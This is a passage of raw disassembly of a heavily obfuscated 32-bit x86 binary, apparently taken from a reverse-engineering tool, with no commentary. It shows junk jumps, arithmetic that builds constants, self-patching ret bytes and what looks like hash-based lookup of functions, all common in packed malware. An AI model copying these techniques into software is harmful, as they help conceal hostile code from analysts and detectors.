; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------

loc_43C6D4:				; CODE XREF: kgbikm34:loc_44969Fj
		mov	ebx, [ebx+ecx]
		push	offset loc_4373CA
		jmp	loc_44081B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ds:off_41E0B0, eax
		push	offset sub_43C850
		jmp	locret_447561
; ---------------------------------------------------------------------------

loc_43C6F2:				; DATA XREF: sub_442551:loc_44924Bo
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43BD90
		or	eax, eax
		jnz	loc_440E4A

loc_43C703:				; CODE XREF: kgbikm34:loc_4384A9j
		jmp	loc_443633
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43C708:				; CODE XREF: sub_43B0B7:loc_438B4Ej
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44661A
		jmp	loc_441773
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		and	eax, ecx
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_43C71A:				; CODE XREF: sub_441B24:loc_44948Cj
		jmp	loc_44D378
; END OF FUNCTION CHUNK	FOR sub_441B24
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		rol	eax, 19h
		jmp	sub_446D82
; ---------------------------------------------------------------------------

loc_43C728:				; DATA XREF: kgbikm34:00439AC7o
		lea	eax, nullsub_352
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A48D
; ---------------------------------------------------------------------------

loc_43C736:				; CODE XREF: kgbikm34:loc_43BB2Ej
		mov	eax, [esp]
		push	edx
		push	esi
		push	5A859B2Dh
		pop	esi
		jmp	loc_438D9B
; ---------------------------------------------------------------------------

loc_43C746:				; CODE XREF: kgbikm34:00445B4Ej
		jno	loc_441ABF

; =============== S U B	R O U T	I N E =======================================



sub_43C74C	proc near		; CODE XREF: sub_444600+2967p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A1F2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043ABAB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043E246 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B4C9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	4C168822h
		pop	eax
		or	eax, 0C7209D08h
		add	eax, 6E1F6CFDh
		jmp	loc_43E246
sub_43C74C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C767:				; CODE XREF: kgbikm34:0044CE58j
		jz	loc_440967

; =============== S U B	R O U T	I N E =======================================



sub_43C76D	proc near		; CODE XREF: sub_43C55C:loc_43F35Cp

; FUNCTION CHUNK AT 0043E2BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447367 SIZE 00000020 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	6C65CFA9h
		pop	eax
		jmp	loc_43E2BC
sub_43C76D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C77C:				; CODE XREF: kgbikm34:00448A3Fj
		ja	loc_43CF78
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_43C782:				; CODE XREF: sub_438B6B:loc_448A2Aj
		sub	edi, 0C3DEDB3h
		xor	edi, 0E4CC453Fh
		call	sub_437429

loc_43C793:				; CODE XREF: sub_439A2E+14697j
		jmp	loc_442FA0
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D1

loc_43C798:				; CODE XREF: sub_4400D1-1E7j
		jmp	loc_44BC6C
; END OF FUNCTION CHUNK	FOR sub_4400D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43C79D:				; CODE XREF: sub_4471D6-B580j
		jmp	nullsub_269
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43C7A2:				; CODE XREF: sub_44B20C-124A5j
		jmp	loc_43DC37
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440116

loc_43C7A7:				; CODE XREF: sub_440116:loc_44BF5Bj
		mov	eax, [ebp-1Ch]
		add	eax, eax

loc_43C7AC:				; CODE XREF: kgbikm34:0043DE24j
		cdq
		add	eax, [esp+0]
		jmp	loc_448914
; END OF FUNCTION CHUNK	FOR sub_440116
; ---------------------------------------------------------------------------

loc_43C7B5:				; CODE XREF: kgbikm34:loc_440D41j
		push	offset loc_4433CA
		jmp	loc_442B8F
; ---------------------------------------------------------------------------

loc_43C7BF:				; DATA XREF: sub_4400F5+5o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A374

loc_43C7C1:				; CODE XREF: sub_43A374+Fj
		jmp	loc_43CE9A
; END OF FUNCTION CHUNK	FOR sub_43A374

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C7C6	proc near		; CODE XREF: kgbikm34:loc_4372C7p
					; sub_438B6B-126Dp ...
		push	ebp
		mov	ebp, esp
		call	sub_44ABBB

loc_43C7CE:				; CODE XREF: sub_437A59+Cj
		jmp	nullsub_27
sub_43C7C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C7D3	proc near		; CODE XREF: sub_4471A4:loc_444847j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439F07 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B9C2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BE69 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		push	0FC987253h
		pop	ecx
		sub	ecx, 35D80488h
		jmp	loc_44BE69
sub_43C7D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_43C7EA:				; CODE XREF: sub_444240:loc_4484F8j
		jz	loc_444470
		jmp	loc_4494DD
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------

loc_43C7F5:				; CODE XREF: kgbikm34:004415CAj
		jno	loc_43F878

; =============== S U B	R O U T	I N E =======================================



sub_43C7FB	proc near		; CODE XREF: kgbikm34:00440A9Dp

; FUNCTION CHUNK AT 004412F1 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	loc_4412F1
sub_43C7FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43C807:				; CODE XREF: sub_43E4C0:loc_440D46j
		pop	edx
		jmp	loc_443EF4
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_43C80E:				; CODE XREF: sub_43C167+1196Cj
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43C813:				; CODE XREF: sub_44114F+75BDj
		jmp	loc_442D48
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		pop	esi
		jmp	loc_44D207
; ---------------------------------------------------------------------------
		mov	ds:off_41E03C, eax
		lea	eax, sub_4438B7
		mov	byte ptr [eax],	0C3h
		jmp	sub_4438B7

; =============== S U B	R O U T	I N E =======================================



sub_43C832	proc near		; CODE XREF: sub_40158F+186p
					; sub_40158F+189p ...

; FUNCTION CHUNK AT 00447AE2 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_447AE2
sub_43C832	endp

; ---------------------------------------------------------------------------
		rol	ecx, 15h
		xchg	ebx, [ebp+0]
		jmp	sub_44DCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43C843:				; CODE XREF: sub_43F5F7+476Dj
		jge	loc_44D5DB
		test	ecx, edi
		jmp	loc_438E92
; END OF FUNCTION CHUNK	FOR sub_43F5F7

; =============== S U B	R O U T	I N E =======================================



sub_43C850	proc near		; DATA XREF: kgbikm34:0043C6E8o
		lea	eax, sub_43C55C
		mov	byte ptr [eax],	0C3h
		jmp	sub_43C55C
sub_43C850	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43C85E:				; CODE XREF: sub_43C55C+1j
		mov	eax, [esp+0]
		push	edx
		call	sub_43B2CF
		mov	eax, 726FC43Ah
		call	sub_43BF6F
		jmp	loc_449E34
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_43C876:				; CODE XREF: sub_43C2DA-3DD5j
		xchg	ecx, edi
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_43C878:				; CODE XREF: sub_4479B1:loc_437734j
					; sub_4479B1-D8FAj ...
		jmp	loc_43B363
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43C87D:				; CODE XREF: sub_4407FD+5018j
					; sub_43ACD5+13563j
		pop	ecx
		xchg	edi, [esp+0]
		jmp	loc_441B57
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------

loc_43C886:				; CODE XREF: kgbikm34:00440911j
		jb	nullsub_55
; START	OF FUNCTION CHUNK FOR sub_43C019

loc_43C88C:				; CODE XREF: sub_43C019+48E1j
		sub	edx, 3A5E59F7h
		add	edx, 0DBE795Dh
		xchg	edx, [esp+4+var_4]
		jmp	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_43C019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_43C8A0:				; CODE XREF: sub_43741E+1466Dj
		jnz	nullsub_184

loc_43C8A6:				; CODE XREF: sub_43741E:loc_43ED66j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4424BB
		jmp	loc_44BDED
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44710C

loc_43C8B7:				; CODE XREF: sub_44710C+73Ej
		and	ecx, ebp

loc_43C8B9:				; CODE XREF: sub_44710C+732j
		add	edi, 0D2262FDCh
		or	edi, 2D7B4B37h
		add	edi, 42C83137h
		xchg	edi, [esp+4+var_4]
		jmp	loc_43FE22
; END OF FUNCTION CHUNK	FOR sub_44710C
; ---------------------------------------------------------------------------

loc_43C8D3:				; CODE XREF: kgbikm34:004469B9j
		add	eax, 6F903F8Fh
		xchg	eax, [esp]
		jmp	loc_448416
; ---------------------------------------------------------------------------

loc_43C8E1:				; CODE XREF: kgbikm34:loc_443EE5j
		add	esi, 0DA016B68h
		jnz	loc_4378CE
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43C8ED:				; CODE XREF: sub_440141+B794j
		jmp	loc_43F1B7
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------

loc_43C8F2:				; CODE XREF: kgbikm34:004498D8j
		jmp	loc_4389AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_43C8F7:				; CODE XREF: sub_43EB3F-4A6j
		jmp	loc_44E05B
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1C

loc_43C8FC:				; CODE XREF: sub_444E1C-79A0j
		jmp	loc_44C2F7
; END OF FUNCTION CHUNK	FOR sub_444E1C
; ---------------------------------------------------------------------------
		jl	loc_438572
		and	ebx, eax
		cdq
		jmp	loc_4378CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_43C90F:				; CODE XREF: sub_439D4B:loc_44D54Dj
		pop	edi
		rol	edi, 0Dh
		add	edi, 20562860h
		mov	[edi], edx
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_439D4B
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43C91C:				; CODE XREF: sub_439BDE+9489j
					; kgbikm34:004465DFj
		xchg	eax, edx
		push	edi
		push	27A125B1h
		jmp	loc_443786
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

locret_43C928:				; CODE XREF: kgbikm34:loc_444354j
		retn
; ---------------------------------------------------------------------------

loc_43C929:				; CODE XREF: kgbikm34:004418BDj
		jmp	locret_43B232
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_43C92E:				; CODE XREF: sub_43C267:loc_445D97j
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	0CCF9BEE6h
		pop	ebx
		jmp	loc_44D7CB
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_43C93E:				; CODE XREF: sub_444002-730Ej
		rol	edi, 10h

loc_43C941:				; CODE XREF: sub_444002:loc_446D55j
		mov	eax, [esp+0]
		call	sub_44B537

loc_43C949:				; CODE XREF: sub_444002+Bj
					; sub_444002+33C8j
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_4479B1
		xchg	esi, [esp+0]
		jmp	loc_448F2D
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------

loc_43C95B:				; CODE XREF: kgbikm34:004431A0j
		mov	eax, 83ED7AACh
		push	edx
		push	59D55300h
		pop	edx
		rol	edx, 1Eh
		and	edx, ds:4000FAh
		add	edx, 55C63B58h
		and	edx, 0EF5A3C21h
		jmp	loc_44C8DC
; ---------------------------------------------------------------------------

loc_43C981:				; CODE XREF: kgbikm34:0043908Cj
		mov	byte ptr [eax],	0C3h
		jmp	loc_4477CD
; ---------------------------------------------------------------------------
		push	eax
		push	36CF25B8h
		pop	eax
		or	eax, 1FA5A397h
		jmp	loc_445948

; =============== S U B	R O U T	I N E =======================================



sub_43C99B	proc near		; CODE XREF: sub_440141:loc_43D911j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004413CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A960 SIZE 0000000E BYTES

		push	ebx
		push	15AFF4F3h
		pop	ebx
		rol	ebx, 11h
		jmp	loc_4413CC
sub_43C99B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43C9AA:				; CODE XREF: sub_449F77-8DD2j
					; kgbikm34:0044314Cj
		ror	edx, 0Eh
		sbb	edi, 9C8BF47Fh

loc_43C9B3:				; CODE XREF: sub_449F77:loc_4386BCj
		push	0A5A285A8h
		ror	eax, 8
		jmp	loc_44CCCA
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		jz	loc_439188
		ror	ebx, 3
		jmp	sub_449144
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_43C9CF:				; CODE XREF: sub_440380+182Bj
		jmp	loc_43C0AF
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
		xchg	ebp, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_43C9D6	proc near		; CODE XREF: sub_43EA97:loc_446CC0p

; FUNCTION CHUNK AT 00438524 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C4CC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043C64F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044080C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00444AC5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044753A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449C77 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044E0E7 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0]
		lea	eax, dword_43E1CC
		jmp	loc_43C64F
sub_43C9D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43C9EB:				; CODE XREF: sub_43F4C9+575Bj
		shr	ecx, 10h
		xchg	eax, [esi]
		or	edx, esi
		ror	edi, 18h

loc_43C9F5:				; CODE XREF: sub_43F4C9:loc_44BD3Ej
		push	186D20C1h

loc_43C9FA:				; CODE XREF: kgbikm34:loc_449E27j
		pop	eax
		jmp	loc_43D695
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43CA00:				; CODE XREF: sub_448C95-1062Ej
		or	edi, 7CA035CBh

loc_43CA06:				; CODE XREF: sub_448C95:loc_43F48Aj
		call	sub_44A9D8
		push	5A87C20Dh
		pop	edx
		or	edx, 0A4D13686h
		xor	edx, 0B26E8066h
		jmp	loc_43DA4E
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------

loc_43CA22:				; CODE XREF: kgbikm34:loc_44477Bj
		jnz	loc_43F05C
		mov	ecx, [eax]
		jmp	loc_43F054
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_43CA2F:				; CODE XREF: sub_43A6C7:loc_441578j
		sub	edx, 0ECE581DDh
		rol	edx, 0Bh
		add	edx, 65E0CBFDh
		call	sub_4487F2
		push	eax
		ror	eax, 1Bh
		mov	ds:dword_43C5C4, eax
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43CA52:				; CODE XREF: sub_439587+BC1Dj
		xchg	ebp, esi
		jb	loc_444EB0
		or	ecx, ebx
		popf
		jmp	loc_44040E
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_43CA62:				; DATA XREF: sub_44627C+3o
		push	eax
		mov	eax, ecx
		push	offset sub_44744C
		jmp	loc_4389D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_43CA6F:				; CODE XREF: sub_44B6F1:loc_43AEF3j
		rol	edi, 0Eh
		add	edi, 86421165h
		xchg	edi, [esp+4+var_4]
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_44B6F1

; =============== S U B	R O U T	I N E =======================================



sub_43CA80	proc near		; DATA XREF: sub_43E135-1D56o

; FUNCTION CHUNK AT 0043E3C5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043EDA3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004418A1 SIZE 00000005 BYTES

		pushf
		push	9E069B23h
		pop	esi
		sub	esi, 49DA230Fh
		xor	esi, 542C7814h
		popf
		jmp	loc_43EDA3
sub_43CA80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43CA99:				; CODE XREF: kgbikm34:loc_438738j
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp]
		push	5DABA38Ch
		pop	esi
		jmp	loc_44C684
; ---------------------------------------------------------------------------

locret_43CAAA:				; CODE XREF: kgbikm34:loc_449474j
		retn
; ---------------------------------------------------------------------------

loc_43CAAB:				; CODE XREF: kgbikm34:0043FA64j
		jmp	locret_44B54D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_43CAB0:				; CODE XREF: sub_437A6A+5497j
		jmp	loc_438C07
; END OF FUNCTION CHUNK	FOR sub_437A6A

; =============== S U B	R O U T	I N E =======================================



sub_43CAB5	proc near		; CODE XREF: kgbikm34:00437AB8j
					; kgbikm34:loc_438C29j	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043713C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438E09 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00438FCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439776 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A520 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A930 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043BA50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440225 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A81 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00440D65 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044127A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441456 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441932 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004467C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044732A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449563 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C144 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C856 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D562 SIZE 00000012 BYTES

		jz	loc_440A81
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		jmp	loc_441456
sub_43CAB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43CACF:				; CODE XREF: sub_447E85+131Bj
		add	ebx, 0DF4E872Bh
		sub	ebx, 8AA243F1h
		test	ebx, 200000h
		jmp	loc_449A56
; END OF FUNCTION CHUNK	FOR sub_447E85
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43CAE7:				; CODE XREF: sub_43F5F7+1CDAj
		jmp	loc_438EC2
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------

loc_43CAEC:				; CODE XREF: kgbikm34:loc_449B3Aj
		call	sub_44BA42
		mov	eax, 2D912001h
		call	sub_43BF6F
		mov	ds:dword_41E150, eax
		lea	eax, nullsub_344
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A075

; =============== S U B	R O U T	I N E =======================================



sub_43CB0F	proc near		; CODE XREF: sub_410344+27p
					; sub_417C80+134p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B03B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BCD8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043F07E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00445A8F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004490A3 SIZE 00000009 BYTES

		push	ebx
		push	170767D1h
		jmp	loc_445A8F
sub_43CB0F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_43CB1A:				; CODE XREF: sub_439624:loc_441EECj
		rol	eax, 18h
		jmp	loc_4424AB
; END OF FUNCTION CHUNK	FOR sub_439624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F77F

loc_43CB22:				; CODE XREF: sub_43F77F-1E0Aj
		and	ecx, 97B9965h
		add	ecx, 0FC7D05EDh

loc_43CB2E:				; CODE XREF: sub_43F77F-1E12j
		add	ebx, 0EF431D70h
		mov	[ebx], eax
		pop	ebx

loc_43CB37:				; CODE XREF: sub_449D59-816Fj
					; sub_449D59+Ej
		ror	eax, 1Fh
		add	eax, 79F44EADh
		push	offset loc_44D79A
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_43F77F
; ---------------------------------------------------------------------------

loc_43CB4A:				; CODE XREF: kgbikm34:loc_44562Bj
		jnz	loc_43D4B9
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_43CB50:				; CODE XREF: sub_439A2E+A618j
		jmp	loc_438993
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------

loc_43CB55:				; CODE XREF: kgbikm34:004385EEj
		jmp	loc_444D80
; ---------------------------------------------------------------------------
		ror	ebp, 1Bh
		sub	edi, 0DC4F80F2h
		jmp	loc_43D4AF
; ---------------------------------------------------------------------------

loc_43CB68:				; CODE XREF: kgbikm34:0044947Aj
		add	ebp, 0D993531Bh
		pop	edi

loc_43CB6F:				; CODE XREF: kgbikm34:0044946Ej
		xor	eax, 755F4070h
		push	edx
		pushf
		jmp	loc_441C7E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B292

loc_43CB7D:				; CODE XREF: sub_44B292+Aj
		jmp	loc_446712
; END OF FUNCTION CHUNK	FOR sub_44B292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_43CB82:				; CODE XREF: kgbikm34:0043715Dj
					; sub_43DFA4:loc_445704j
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_43DFA4

; =============== S U B	R O U T	I N E =======================================



sub_43CB87	proc near		; CODE XREF: sub_43FCE6+6p
					; kgbikm34:00447551j

; FUNCTION CHUNK AT 004467A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D420 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_44D420
sub_43CB87	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43CB97	proc near		; DATA XREF: sub_43D164:loc_44022Ao

; FUNCTION CHUNK AT 0043909C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004391DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004450F9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044C2CB SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	[ebp-4], eax
		push	ebx
		push	0B5A3BA89h
		pop	ebx
		jmp	loc_44C2CB
sub_43CB97	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41E134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43CBB4:				; CODE XREF: sub_43B1D6+BA14j
		jmp	loc_4486C1
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44627C

loc_43CBB9:				; CODE XREF: sub_44627C+8j
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_44627C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43CBBE:				; CODE XREF: sub_439BDE+BB55j
		jmp	loc_44C5AA
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_43CBC3:				; CODE XREF: kgbikm34:00445640j
		jmp	loc_44D0AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFC1

loc_43CBC8:				; CODE XREF: sub_43CFC1+Aj
		jmp	loc_446894
; END OF FUNCTION CHUNK	FOR sub_43CFC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset sub_447DA2
		jmp	locret_44BE48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_43CBD8:				; CODE XREF: sub_44772C:loc_43EFFCj
					; kgbikm34:0043F00Fj
		add	eax, 0E0E3630h
		call	sub_43BF6F
		mov	ds:off_41E0BC, eax
		lea	eax, sub_43B958
		mov	byte ptr [eax],	0C3h
		jmp	loc_43ACC1
; END OF FUNCTION CHUNK	FOR sub_44772C

; =============== S U B	R O U T	I N E =======================================



sub_43CBF7	proc near		; CODE XREF: sub_404954+A0p
					; sub_40D222+AAp ...

; FUNCTION CHUNK AT 00441F82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C192 SIZE 00000006 BYTES

		call	sub_44C198
		jmp	loc_441F82
sub_43CBF7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_43CC01:				; CODE XREF: sub_444D26-D962j
		jl	loc_4438EC
; END OF FUNCTION CHUNK	FOR sub_444D26
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_43CC07:				; CODE XREF: sub_4372E5:loc_44D0D1j
		push	169B1DE5h
		pop	eax
		add	eax, 14842D59h
		xor	eax, 0F689423Eh
		call	sub_43BF6F
		push	ecx
		jmp	loc_43F538
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------

loc_43CC24:				; CODE XREF: kgbikm34:00440EB0j
		sub	ebx, 7E4B8102h
		xchg	ebx, edx

loc_43CC2C:				; CODE XREF: kgbikm34:loc_440EA3j
		add	esi, 5612059Ch
		and	esi, 38198BDAh
		xor	esi, 3011989Ah
		jmp	loc_4458BD

; =============== S U B	R O U T	I N E =======================================



